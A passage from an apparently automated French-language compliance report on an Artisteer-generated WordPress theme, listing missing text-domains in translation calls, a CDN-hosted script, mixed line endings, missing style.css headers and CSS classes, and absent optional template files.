utilisée sans text-domain. Fonction __, avec les arguments 'Top sidebars' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Bottom sidebars' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Header sidebars' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Footer sidebars' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Footer' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Override default theme footer content' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Footer content' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<strong>XHTML:</strong> You can use these tags: <code>%s</code>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<strong>ShortTags:</strong><code>%s</code>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Used when "Override default theme footer content" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Advertisement' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Use the %s short code to insert these ads into posts, text widgets or footer' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Example:' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Ad code #%s:' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Ad code #%s:' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Ad code #%s:' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Ad code #%s:' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Ad code #%s:' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Headings for the posts page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag for the headline' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag for the slogan' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag for the article' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag for the widgets' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Headings for the single post or page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag for the headline' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag for the slogan' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag for the article' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag for the widgets' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show in Menu' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show as Separator in Menu' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Title in Menu' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show Title on Page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show Header on Page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show Title on Single Page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Appearance:' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show widget on:' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Front page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Single posts' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Single pages' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Posts page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Page IDs (comma separated)' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'RSS Feeds' dans le fichier shortcodes.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'RSS Feeds' dans le fichier shortcodes.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "Empty ad slot (#%s)!" dans le fichier shortcodes.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Top' dans le fichier shortcodes.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Site Admin' dans le fichier shortcodes.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Log in' dans le fichier shortcodes.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '%s RSS Feed' dans le fichier shortcodes.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'View all posts in %s' dans le fichier navigation.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Theme Options' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Settings saved.' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Settings restored.' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Save Changes' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Reset to Default' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Theme Options' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Theme Options' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Page Header Image' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Post Header Image' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Change Header Image' dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "Remove header image" dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "Set header image" dans le fichier admins.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Tag Cloud' dans le fichier defaults.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Random posts' dans le fichier defaults.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Primary Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "This is the default sidebar, visible on 2 or 3 column layouts. If no widgets are active, the default theme widgets will be displayed instead." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Secondary Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "This sidebar is active only on a 3 column setup." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Header Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "The header widget area. Use the unique widget ids to control the design and position of individual widgets with CSS code." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'First Top Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "This sidebar is displayed above the main content." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Second Top Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "This sidebar is displayed above the main content." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'First Bottom Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "This sidebar is displayed below the main content." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Second Bottom Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "This sidebar is displayed below the main content." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'First Footer Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "The first footer widget area. You can add a text widget for custom footer text." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Second Footer Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "The second footer widget area." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Third Footer Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "The third footer widget area." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Fourth Footer Widget Area' dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments "The fourth footer widget area." dans le fichier sidebars.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'sidebar default' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'block' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'post' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'simple text' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Theme Options' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Use this widget to add one of your custom menus as a widget.' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Vertical Menu' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Title:' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Source' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'No menus have been created yet. <a href="%s">Create some</a>.' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Select Menu:' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Login form' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Login' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Dashboard' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Publish' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Comments' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments "Log out" dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Log In' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Username' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments "Password" dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Remember Me' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Log In' dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments "Register" dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments "Lost your password?" dans le fichier widgets.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '%d queries. %s seconds.' dans le fichier footer.php.
  4. Cdn : Utilisation d'un CDNUne url de type CDN a été trouvée dans le code html5shiv.googlecode.com/svn/trunk/html5.js. Les fichiers CSS et JS ne doivent pas être chargés depuis un CDN. Ces ressources doivent être intégrées dans le thème.
  5. Contextes de plugin : Fonctionnalités de pluginLe thème utilise la fonction add_shortcode(). L'utilisation des custom post-content shortcodes est du domaine des plugins.
  6. Uniformité des caractères de fin de ligne : Les fins de ligne DOS et UNIXLe fichier header.php contient un mélange de finde ligne \r\n and \nLe fichier wrappers.php contient un mélange de finde ligne \r\n and \nLe fichier defaults.php contient un mélange de finde ligne \r\n and \nLe fichier footer.php contient un mélange de finde ligne \r\n and \n
  7. Eléments custom : Présence d'une entête customAucune référence à custom header n'a été trouvée dans le thème.
  8. Eléments custom : Présence d'un fond customAucune référence à custom background n'a été trouvée dans le thème.
  9. Editor style : Présence de l'édition de styleAucune référence à add_editor_style() n'a été trouvée dans le thème. Il est recommandé que le thème implémente l'édition de style, de manière à faire correspondre le contenu de l'éditeur l'affichage dans le thème.
  10. Implémentation de l'internationalisation : Utilisation correcte de ___al(La variable $s a été trouvée dans une fonction de traduction dans le fichier widgets.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
  11. Fichiers CSS : Présence du type de licenseLa déclaration License: manque dans le header du fichier style.css.
  12. Fichiers CSS : Présence de l'url de la licenseLa déclaration License URI: manque dans le header du fichier style.css.
  13. Fichiers CSS : Présence de text domainLa déclaration Text Domain: manque dans le header du fichier style.css.
  14. Fichiers CSS : Présence de la classe .stickyLa classe CSS .sticky n'a pas été trouvée dans les styles du thème.
  15. Fichiers CSS : Présence de la classe .bypostauthorLa classe CSS .bypostauthor n'a pas été trouvée dans les styles du thème.
  16. Fichiers CSS : Présence de la classe .screen-reader-textLa class css .screen-reader-text est nécessaire dans le css du thème. Voir : le Codex pour un exemple d'implémentation.
  17. Screenshot : Copie d'écranLa taille du screenshot est 300x225px. La taille recommandée est 1200x900, pour prendre en compte les affichages HiDPI. Bien qu'une résolution de 1200x900 soit recommandée, toutes les images au format 4:3 sont acceptables.Mauvaise extension de fichier screenshot ! Le fichier screenshot.png n'est pas un véritable fichier JPG. Le type détecté est : "image/png".
Info
  1. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  2. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  3. Fichiers optionnels : Présence du fichier-template de catégorie category.phpCe thème ne contient pas le fichier optionnel category.php.
  4. Fichiers optionnels : Présence du fichier-template des tags tag.phpCe thème ne contient pas le fichier optionnel tag.php.
  5. Fichiers optionnels : Présence du fichier template de taxinomie taxonomy.phpCe thème ne contient pas le fichier optionnel taxonomy.php.
  6. Fichiers optionnels : Présence du fichier-template author.phpCe thème ne contient pas le fichier optionnel author.php.
  7. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  8. Fichiers optionnels : Présence du fichier-template des images image.phpCe thème ne contient pas le fichier optionnel image.php.
  9. Thème autogénéré : Thème autogénéré par ArtisteerCe thème a été auto généré.
  10. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : content-importer.php 2: include( TEMPLATEPATH . '/content/widgets-importer.php' );3: include( TEMPLATEPATH . '/content/content-parser.php' );326: include( ABSPATH . 'wp-admin/includes/image.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
Other checked themes